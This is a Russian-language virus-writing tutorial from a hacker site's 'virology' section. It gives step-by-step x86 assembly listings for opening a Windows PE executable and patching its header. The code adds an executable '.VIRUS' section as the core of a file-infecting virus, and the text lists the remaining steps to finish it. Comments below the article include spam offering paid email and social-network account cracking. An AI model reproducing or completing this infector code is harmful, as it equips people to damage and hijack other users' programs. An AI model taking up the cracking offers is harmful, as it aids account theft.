Контакты

Для связи с нами можно использовать:
irc://irc.chatnet.ru:#gfs
icq://546460
email://cobalt[@]gfs-team.ru

Все материалы предоставлены только с ознакомительной целью
ГлавнаяСтатьиВирусологияЗаражение Часть I / Создаем секцию
© EvilCoder 29.05.2006

Мы разобрались с поиском API функции. Подготовительный этап пройден. Следующий этап – это Поиск жертвы. Этот этап я решил оставить на потом. Сейчас мы займемся самым важным моментом существования вируса, этапом заражения.

Это самый объемный и самый трудоемкий этап. Поиск жертвы – это нечто иное как обыкновенная функция поиска файлов в случайном порядке, плюс проверка файла на зараженность.

Мы получили список адресов необходимых нам функций. Теперь настола время их использовать. Отладчик «в руки» и вперед!

Что касается жертвы, возьмем любой ЕХЕ файл формата РЕ. Небольшого размера, чтоб легче было отлаживать. ;-) Пусть жетва у нас по адресу: "target.exe" (т.е. в одной папке с нашим кодом) Теперь по порядку разделим нашу задачу на более мелкие части. И рассмотрим их. На время забудем о дельта смещении. Так будет легче писать инфектор. Потом мы вернемся и сделаем все как надо.

1.Открываем файл. Для этого мы будем использовать стандартную API функцию CreateFileA, результатом выполнения которой будет хендл открытого файла. ( Хендл – 4 байтный идентификационный номер – типа того.) Перед вызовом функции следует положить в стек (указать) ряд параметров.

; ----- листинг 1 ----- 
        push 0h                        ; hTemplateFile = NULL       
        push 80h                       ; Attributes = NORMAL        
        push 3h                        ; Mode = OPEN_EXISTING       
        push 0h                        ; pSecurity = NULL           
        push 3h                        ; ShareMode = FILE_SHARE_RW  
        push 3h                        ; Access = READ                                            
        push FindPath                  ; FindPath                             
        call dword [@CreateFileA] 
        push eax

После выполнения функции в ЕАХ будет расположен хендл открытого файла. В случае ошибки ЕАХ будет равен FFFFFFFFh = -1. После вызова функци сохраним хендл в стек он нам понадобиться в дальнейшем. Что означает каждый из параметров, вы можете посмотреть в справочнике по API функциям. Последним параметром мы указали «адрес» по которому распожен путь к нашему файлу. В данном случае:

FindPath db “target.exe”,0h

Ноль в конце строки обязателен. Ибо все строки в Виндовс кончаются Нулевым байтом. (так и хочется написать про переполнение буферов, ну это потом). Файл открыт, теперь его необходимо загрузить в оперативную память. Т.е. в адресное пространство нашего процесса. Для этого следует зарезирвировать необходимый нам «кусок» памяти. Но нам надо знать размер необходимой нам свободной памяти. Для этого следует узнать размер файла жертвы. Здесь нам поможет функция GetFileSize. Одним из ее параметров является хендл открытого файла. А он у нас осталься в ЕАХ после вызова предыдущей функции. И так.

; ----- листинг 2 -----         
        push 0h                        ; SizeHigh=NULL  
        push eax                       ; FileHandle=eax 
        call dword [@GetFileSize]      ;                 
        push eax       

Теперь в ЕАХ у нас находится размер файла. Сохраним и его в стеке. Настоятельно рекомендую ПОЛЬЗУЙТЕСЬ ОТЛАДЧИКОМ без него вы ничего не поймете. Моя задача направить ход ваших мыслей, за вас никто думать не будет. ;-) Нам известен размер файла. Но резирвировать мы будем столько памяти сколько будет весить зараженный файл. Для расчета просто надо к ЕАХ прибавить размер «секции кода вируса». Пойдем более легким путем добавии просто 2000h. Помяти много, так что «жалко нету» ;-). Имейте ввиду это незначит что в файл запишутся лишние данные. Все что касается размера будет установлено тогда, когда мы будем производить запись в файл, а пока мы работаем с памятью. Наша следующая функция GlobalAlloc. После выполнения в ЕАХ будет расположен указатель на выделенную память.

; ----- листинг 3 ----- 
        add eax,2000h         ;                                 
        push eax              ; MemSize=FIleSize+VirSectionSize 
        push 40h              ; Flags=GPTR                      
        call dword [@GlobalAlloc]     
        push eax 

Сразу же сохроним указатель в стек. Я полагаю вы отслеживаете состояние стека в отладчике, так ведь? ;-) Щас у нас в стеке находятся: на вершине Указатель на «выделенную область памяти»; затем Размер файла жертвы; и хендл открытого файла жертвы. Вот так выглядит наш стек:

        MemPoint        ; Указатель на выделеную память 
        FileSize        ; Размер файла
        hFile           ; Хендл открытого файла

Идем дальше… память выделена но она пустая, естественно ;-). Теперь надо загрузить в нее нашу жертву, вернее скопировать в память, или спроецировать (знатоки: знаю знаю ;) ) Скажем просто прочитать. Используем функцию ReadFile.

; ----- листинг 4 ----- 
        push 0h              ; Overlaped=NULL
        push BufRW           ; PBytesRead=nRead
        mov eax,[esp+4*3]    ;
        push eax             ; BytesToRead=FileSize
        mov eax, [esp+4*3]       ;
        push eax             ; Buffer=MemPoint
        mov eax,[esp+4*6]    ;
        push eax             ; hFile=FileHandle
        call  dword [@ReadFile]

Первый аргумент у нас NULL, вторым идет указатель на Память, вернее на "переменную" BufRW. Которой функция присвоит значение, количетсво считанных байт из файла. Нам она (переменная) не нужна, но функция требует ее указания. Далее идет размер файла, указатель на память (куда будут записаны данные) и хендл открытого файла. После выполнения функции, в случае ошибки ЕАХ будет равен -1 (FFFFFFFFh) без ошибок функция вернет значение отличное от нуля ;-) (Подробности в справочнике по WinAPI) Все, теперь у нас есть над чем работать дальше. Файл загружен в память по адресу (MemPoint, который находится в стеке на 1 позиции т.е. на вершине стека.) Закрывать Хендл открытого файла мы пока не будем, т.к. он нам понадобится когда мы будем производить запись файла "на диск" т.е. обратно из памяти. Порядок такой:

1. Копируем файл "с диска" в память.

2. Работаем над файлом в памяти.

3. Записываем файл из памяти "на диск".

Сейчас мы на 2ом этапе. Т.е. нам предстоит работа над файлом. И начнем мы с редактирования заголовка РЕ. В документации сказано что заголовок РЕ находится по адресу, указаному по смещению 3Ch от начала файла. (ЗЫ. Паралельно открываем копию жертвы в отладчике, View-->Memory/ target.exe | PE Header, и внимательно изучаем ;-) Находим начало РЕ заголовка так:

; ----- листинг 5 -----         
        mov edi,[esp]           ; EDI=MemPoint
        mov eax,[edi+3Ch]       ; +3CH

Теперь в ЕАХ у нас смещение от начала файла к РЕ заголовку, а в EDI реальный адрес указывающий на начало файла в памяти. Прибавим к EDI регистр ЕАХ и получим реальный адрес РЕ заголовка в памяти:

; ----- листинг 6 -----    
        add edi,eax     ; EDI = PE Header 

Незабываем про отладчик ;-). По смещению 6h от РЕ заголовка у нас SecNums (слово, 2 байта ;-) содержащее количество секций программы) нам необходим увеличить это значение на 1. т.к. мы добавим в файл еще одну секцию.

; ----- листинг 7 ----- 
        movzx eax,word [edi+6H]
        push eax                ; SAVE SECTION NUMS
        inc eax                 ; INC SecNums
        mov word [edi+6h],ax    ; --WRITE-- SecNums 

Загружаем в ЕАХ количество секций с помощью конструкции MOVZX которая обнулит ЕАХ и независимо от размера второго операнда сохронит его значение в ЕАХ. Далее сохраним изначальное количество секций, оно нам понадобится в дальнейшем. Увеличим значени ЕАХ на единицу (инкремент) и запишем туда откуда взяли ;-). (отладчик у нас запущен на жертву и на наш код ;-) Изменения можно наблюдать только из ! нашего кода.)

Из РЕ заголовка нам понадобятся: EntryPoint (Точка входа в программу), SectAlign (Выравнивание секций в памяти) и FileAlign (выравнивание секций в файле "на диске").

; ----- листинг 8 ----- 
        mov eax,dword [edi+28h] ; 28h-смещение к EntyPoint от начала РЕ и т.д.  
        push eax                        ; SAVE ENTRYPOINT
        mov eax,dword [edi+38h]
        push eax                        ; SAVE SECTION ALIGN
        mov eax,dword [edi+3Ch]
        push eax                        ; SAVE FILE ALIGN

И того в стеке иы имеем:

ESP=>   FileAlign       ; выравнивание секций в файле
ESP+4   SectAlign       ; выравнивание секций в памяти
ESP+4*2 EntryPoint      ; Точка входа в программу
ESP+4*3 SecNums         ; количество секций жертвы
..      MemPoint        ; Указатель на выделеную память 
..      FileSize        ; Размер файла
        hFile           ; Хендл открытого файла

Все эти данные размером в двойное слово (т.е. "Double DWORD" DD = 4 байта). Идем далее. Вы конечно же изучили формат РЕ ЕХЕ и поэтому знаете что у каждой секции бывает 2 параметра, размер секции "в памяти" выравненый на SectAlign и размер секции "в файле" выравненый на FileAlign . Для нашей секции эти данные будут хранится в двух переменных SECTION_VIRTsz и SECTION_RAWsz. Сейчас нам следует их определить (заполнить содержимым ;-)) Вообще из чего складывается размер будещей секции? Правильно из размера кода котрый будет в ней находиться т.е. размер вируса. Пока он нам неизвестен ;-) потому как еще не написан ;-) поэтому укажем 1000h = 1КБ больше уж точно он не выйдет (хотя, назнаю назнаю ;-)) Давайте укажем для наглядности не 1000h, а 0FFDh - чисто случайное число, чтоб процесс выравнивания был более наглядным, а то 1000h и так величина выравненая на "что угодно" ;-) . А вообще что такое выравнивание? Ох блин, неохота объяснять :-) вы должны это знать (Док. к РЕ ЕХЕ) ну скажем так: 33 выравненое на 10 = 40, или 5 выравненое на 4 = 8 ;-) Ну и сам код:

; ----- листинг 9 ----- 
        mov ebx, 0FFDh          ; VirSize если что ;-) 
        mov eax, dword [esp]    ; FileAlign ну и фактор выравнивания :-)
        dec eax
        add ebx, eax
        not eax
        and ebx, eax  
        mov dword [SECTION_RAWsz],ebx 

Размер секции в файле мы выравнили, теперь размер секции в памяти:

; ----- листинг 10 -----        
        mov ebx, 0FFDh          ; VirSize если что ;-) 
        mov eax, dword [esp+4]  ; SectAlign фактор выравнивания :-)
        dec eax
        add ebx, eax
        not eax
        and ebx, eax  
        mov dword [SECTION_VIRTsz],ebx 

Конечно можно было написать спец. функцию выравнивания, но я нестал усложнять (а вообще имейте ввиду) Главное ведь чтоб код зароботал, а оптимизацией надо заниматься в конце ;-). Количество секций мы увеличили, следовательно надо увеличить и размер всего образа в памяти. Т.е. нам следует увеличить ImageSize на SECTION_VIRTsz (виртуальный размер новой секции).

; ----- листинг 11 -----        
        mov eax,dword [edi+50h]         ; (IMAGE SIZE) modify
        add eax,dword [SECTION_VIRTsz]  ; ImageSize + BegeemVIRTsize
        mov dword [edi+50h],eax         ; --WRITE-- ImageSize

Мы дошли до этапа работы с BoundTable, нафиг это таблица нужна я даже не помню. В документации РЕ ЕХЕ о ней сказано. Эта структура присутствует не у всех РЕ ЕХЕ файлов. Я встречал ее только в программах компилятора Visual Basic. Нам нужно знать только то, что если это "таблица" (структура или просто данные) есть, то она находится сразу за ObjectTable (где расположены данные каждой секции). Следовательно нам необходимо сдвинуть эти данные на 28h - ровно сталько занимает описание одной секции в ObjectTable. Т.к. мы добавляем еще один элемент (описание секции) эти данные могут быть затерты и жертва будет испорчена. Мы не должны этого допускать. Для начала следует узнать: есть ли в нашем жертве данная структура. По смещению 0D0h в заголовке РЕ указано смещение к этим данным (0D4h-размер), а в случае их отсутствия будет ноль.

; ----- листинг 12 -----
        mov eax,[edi+0D0h]      ; BoundTableADDR
        test eax,eax            ; ЕАХ=0h ? Проверка на НОЛЬ             
        jz _Next                ; Если ЕАХ=0 то идет дальше 
        nop                     ; этот код выполнится если ЕАХ<>0

Как известно nop - это пустая операция, которая ничего неделает. Я ее оставил для наглядности. Сейчас мы будем перемещать BoundTable на 28h, т.е. сместим ее. Следует учитывать что если в файле нет этих данных, то мы передем по метке _Next. Она у нас появиться потом. А сейчас мы будем считать что ЕАХ неравен нулю, и в нем расположен Адрес указывающий на BoundTable. (ЗЫ можете открыть в отладчике любую программу написанную на VB). Не факт что размер этих данных не будет превышать 28 байт, поэтому для того что бы их сместить нам необходимо их сперва скопировать "куда то" (временный буфер), а потом оттуда скопировать на 28 байт дальше чем их прежнее расположение. Если мы просто будем первый байт перемещать на 28 байт "дальше", скорее всего мы затерем часть необходимых данных (напомню, "не факт что размер этих данных не будет превышать 28 байт") незнаю поняли вы или нет :-( Но я как то на этом попался и долго разбирался в чем дело, пока не понял что сам же эти данные затираю. В качестве "временного буфера" будем использовать пустую область в жертве, куда в дальнейшем будет записан сам вирус. т.е. последнюю секцию (секцию вируса). Находим эту область так MemPoint+FileSize не думаю что стоит объяснять ;-)

; ----- листинг 13 -----
        push eax                ; SAVE BoundTableVA
        push edi                ; SAVE PEoffset
         mov ecx,[edi+0D4h]     ; Находим размер Bound таблицы
         mov edi,[esp+4*6]      ; EDI=MemPoint. Вспоминаем состояние стека
         add eax,edi            ; EAX= BoundTableADDR (RVA)
         mov esi,eax            ; ESI=EAX
         mov eax,[esp+4*7]      ; EAX=FileSize
         add edi,eax            ; EDI(MemPoint)+EAX(FileSize)=EDI(MemBuf)
        push edi                ; SAVE MemBuf   адрес "временного буфера"
        push esi                ; SAVE BoundRVA адрес таблицы в памяти
        push ecx                ; SAVE BoundSize   размер таблицы
       ;---------------------------+
         RWbound:     ; Rbuf=ESI   |    Перемещение данных во 
         lodsb        ; READ  eax  |    временный буфер
         stosb        ; WRITE eax  |
         loop RWbound ; Wbuf=EDI   |
       ;---------------------------+
        pop ecx                 ; GET BoundSize
        pop edi                 ; GET BoundRVA
        pop esi                 ; GET MemBuf
         add edi,28h            ; EDI=EDI+NewSectStruc
       ;---------------------------+
         boundRW:     ; Rbuf=ESI   |    Перемещение данных из
         lodsb        ; READ  eax  |    временного буфера
         stosb        ; WRITE eax  |    обратно но уже по 
         loop boundRW ; Wbuf= +28h |    адресу +28h
       ;---------------------------+
        pop edi                 ; GET PEoffset
        pop eax                 ; GET BoundTableVA
         add eax,28h
         mov dword [edi+0D0h],eax       ; SET newBoundOffset

Я нестал пояснять этот листинг, потому как он может не понадобится вообще. А разобраться в нем ничего не стоит, он достаточно таки легкий для понимания. Едиственное если вы незнаете: lodsb|lodsw|lodsd и stosb|stosw|stosd - работают с регистрами ЕАХ, EDI, ESI. Из [ESI] данные загружаются в ЕАХ - это lods. И в [EDI] записываются из ЕАХ - это stos. Подробности в доках по асму ;-) Так, далее мы начинаем уже редактировать ObjectTable создадим там новую структуру (новой секции) Она расположена сразу за последним элементом ObjectTable, ее размер 28h байт. (это именно та область памяти которую мы освободили, в котороый находилась BoundTable). Код начинается с метки _Next.

; ----- листинг 14 -----
  _Next:
        mov ebx,edi         ; EBX=PEoffset
        add ebx,0F8h        ; EBX=ObjectTable           
        mov eax, [esp+4*3]  ; EAX=SectNums
        imul eax,28h        ; EAX=SecNums * 28h 
        add ebx,eax         ; EBX=SECT_END - Конец структуры последней секции

Порядок нахождения смещения к будущей структуре, в линейной функции можно выразить так:

Смещение=PEoffset+0F8h+(SecNums*28h)

Теперь по порядку:

 Смещение = Это Адресс в памяти по которому мы расположем новую структуру
            (секции вируса).
 PEoffset = Это Адресс в памяти по которому распожен заголовок РЕ. (т.е. то
            указатель на Стрроку "PE").
 0F8h     = Ровно столько байт занимает РЕ заголовок. После него начинается
            ObjectTable.
 SecNums  = Количество секций в файле жертвы.
 028h     = Размер структуры описания секции в ObjectTable (ObjectTable
            состоит из SecNums количества структур)

Надейюсь что понятно ;-). Так в EBX у нас указатель на новую структуру. Строение структуры (в скобках укзан размер каждого элемента структуры):

 1. SectName(8)         - Первые 8 байт отведены под ASCII строку т.е. название
                          секции
 2. VirtualSize(4)      - Виртуальный размер секции. мы уже его нашли =
                          SECTION_VIRTsz
 3. VirtualAddress(4)   - Смещение секции в памяти. находим так: =
                          (Выравненый VirtualSize предыдущей секции на
                          фактор SectAlign) + (VirtualAddress пред.секции)
 4. SizeOfRawData(4)    - Размер секции в файле (на диске). = SECTION_RAWsz 
 5. PointerToRawData(4) - Смещение секции в файле. находим так: =
                          (SizeOfRawData предыдущей секции) +
                          (PointerToRawData пред.секции)
 6. PointerToRelocations(4) - не нужно т.е. = ноль
 7. PointerToLineNumbers(4) - не нужно т.е. = ноль
 8. NumberOfRelocations(2) - не нужно т.е. = ноль
 9. NumberOfLineNumbers(2) - не нужно т.е. = ноль
 10. Characteristics(4) - Флаги секции (Ман к "РЕ" рулит) у нас равно =
                          0E0000020h (CODE|EXECUTE|READ|WRITE)

Вот и вся структура. Теперь будем ее заполнять. в EBX у нас указатель на 1ый элемнт структуры.

; ----- листинг 15 -----
        ; 1.  SectName(8)               
        mov dword [ebx],'.VIR'  ; ASCII     Произвольный текст. ASCII Название
                                ; секции
        mov dword [ebx+4h],'US' ;       ".VIRUS"

        ; 2. VirtualSize(4) 
        mov eax,dword [SECTION_VIRTsz]  ; EAX= SECTION_VIRTsz - Виртуальный
                                        ; размер новой секции
        mov dword [ebx+8h],eax          ; -WRITE-  VirtualSize 
  
        ; 3. VirtualAddress(4)
        mov ecx, [ebx-20h]      ; ECX=PrevSect.VIRTsize - Виртуальный размер
                                ; пред. секции
        mov eax, dword [esp+4]  ; EAX=SectAlign - Фактор выравнивания
                dec eax
                add ecx, eax
                not eax
                and ecx, eax    ; ECX= Выраненый Виртуальный размер пред. секции
        mov eax,  [ebx-1Ch]     ; EAX= PrevSect.VIRTaddress - Виртуальный
                                ; адресс пред.секции
        add eax,ecx             ; VirtualAddress=EAX+ECX
        mov dword [ebx+0Ch],eax ; -WRITE- VirtualAddress

        ; 4. SizeOfRawData(4) 
        mov eax,[SECTION_RAWsz] ; EAX= SECTION_RAWsz - Размер секции в файле
        mov dword [ebx+10h],eax ; -WRITE- SizeOfRawData

        ; 5. PointerToRawData(4)
        mov ecx,  [ebx-18h]     ; ECX= PrevSect.SizeOfRawData - Размер секции
                                ; в файле пред. секции
        mov eax,  [ebx-14h]     ; EAX= PrevSect.PointerToRawData - Смещение
                                ; секции в файле пред. секции
        add eax,ecx             ; PointerToRawData=EAX+ECX
        mov dword [ebx+14h],eax ; -WRITE- PointerToRawData

        ; 6,7,8,9 
        xor eax,eax
        mov dword [ebx+18h],eax ; zero
        mov dword [ebx+1Ch],eax ; zero
        mov word [ebx+20h],ax   ; zero
        mov word [ebx+22h],ax   ; zero

        ; 10. Characteristics(4)
        mov dword [ebx+24h], 0E0000020h ; SetFlags (CODE|EXECUTE|READ|WRITE)

Вся работа с РЕ заголовком закончена, осталось только изменить точку входа в программу на вирусный код т.е. на новую секцию. Перед этим следует сохранить старую точку входа, т.к. по окончанию своей работы вирус должен передать управление программе носителю. НО. этого мы делать не будем :-) т.к. это материал следующей статьи ;-) которая появится по вашему востребованию :-) К статье прилагается исходник. весь выше изложенный код является основной частью вируса. Чтобы закончить вирус следует:


        1. Весь этот код сделать базанезависемым :-) (ака дельта смещение)
        2. Написать процедуру записи вирусного кода в созданную секцию.
        3. Почитать много полезных статей на эту тему ;-)

Теперь об исходнике: При запуске открывает файл target.exe расположенный в одной папке с ним. Создает в нем новую секцию с названием .VIRUS и все :-) Один момент. Все операции мы провели в памяти, теперь надо сохронить файл с изменениями:

; ----- листинг 16 -----
        push 0h                 ; Origin=FILE_BEGIN   
        push 0h                 ; OffsetHigh=NULL     
        push 0h                 ; OffsetLow = NULL    
        push dword [esp+4*9]    ; hFile = FileHandle  
        call dword  [@SetFilePointer]  


; ----- листинг 17 -----
        push 0h                 ; Overlapped=NULL                        
        push BufRW              ; BytesWritten=BufRW        
        mov eax,[esp+4*7]       ; EAX=FileSize                           
        add eax, dword [SECTION_RAWsz]         
        push eax                ; nBytesToWrite=FileSize+VIRsize 
        push dword  [esp+4*7]   ; Buffer / MemPoint          
        push dword  [esp+4*0Ah]         ; hFile=FileHandle           
        call dword [@WriteFile]   

; ----- листинг 18 -----
        push dword [esp+4*6]      ;hFile=FileHandle           
        call dword [@CloseHandle] 

; ----- листинг 19 -----
        push 0h
        call dword [@ExitProcess]

Все вопросы в Разделе Ассемблер на Форуме ;-)

Ссылка на исходник


© EvilCoder 29.05.2006

e-Commerce Partners Network
Dark Angel написал:

&gt;&gt;mov eax,[edi+3Ch] ; +3CH

Может стоило вместо 3CH написать e_lfanew?

excorsist написал:

невзйебенно крутая статья! Спасибо EvilCoder!

Ник:

Текст:
P Br B I Qute



Код: обновить
Последние комментарии
24.06.2017 21:15:55 DeweyAloma написал:
If you have a desire to learn how to earn from...
Ручная распаковка NeoLite 2.0
24.06.2017 14:43:35 Issacpam написал:
Ckaйп evg7773 Ламинин +38097-613-1437 Laminine LPGN в Хуст Закарпатье 28 usd...
Взлом домофонов
21.06.2017 04:39:52 PRO написал:
Взлом и подбор паролей на почтовых сервисах и социальных сетях. Работаем со всеми...
Взлом E-mail (email, почты, мыла)
Реклама

Тут должна была быть ваша реклама, но мы потеряли глиняную табличку с ее текстом. SapeId: 665044

Rambler's Top100